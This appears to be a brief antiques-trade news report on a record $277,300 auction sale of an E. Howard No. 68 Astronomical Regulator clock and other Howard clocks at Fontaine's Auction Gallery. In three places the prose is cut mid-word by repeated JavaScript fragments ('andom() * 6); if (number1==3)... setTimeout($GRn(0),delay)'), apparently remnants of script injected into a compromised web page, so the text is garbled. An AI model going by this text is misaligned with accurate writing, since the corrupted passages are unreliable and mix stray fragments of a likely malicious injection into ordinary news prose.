PITTSFIELD, MASS. — A new world record was set on November 23 at Fontaine’s Auction Gallery when an E. Howard No. 68 Astronomical Regulator clock was sold for $277,300, making it the highest price ever paid at auction for a clock by E. Howard & Co. The clock was shipped to Stamford, Conn., on April 18, 1884, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had remained in the family of the original owner until it was consigned to Fontaine’s Auction Gallery.

The No. 68 is a floor-standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding astronomical regulator, impressive at 105 inches tall. The silvered 14-inch bronze dial is signed E. Howard & Co., Boston, Mass., as is the brass eight-day, two-weight time-only astronomical movement.

Two other Howard clocks did well at the same auction when an E. Howard & Co. No. 25 Drumhead realized $94,400, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an E. Howard & Co. No. 74 brought $41,300.

In all, 370 clocks were sold in the two-session auction, with the sale grossing more than $1 million. A complete review of the sale will appear in an upcoming issue.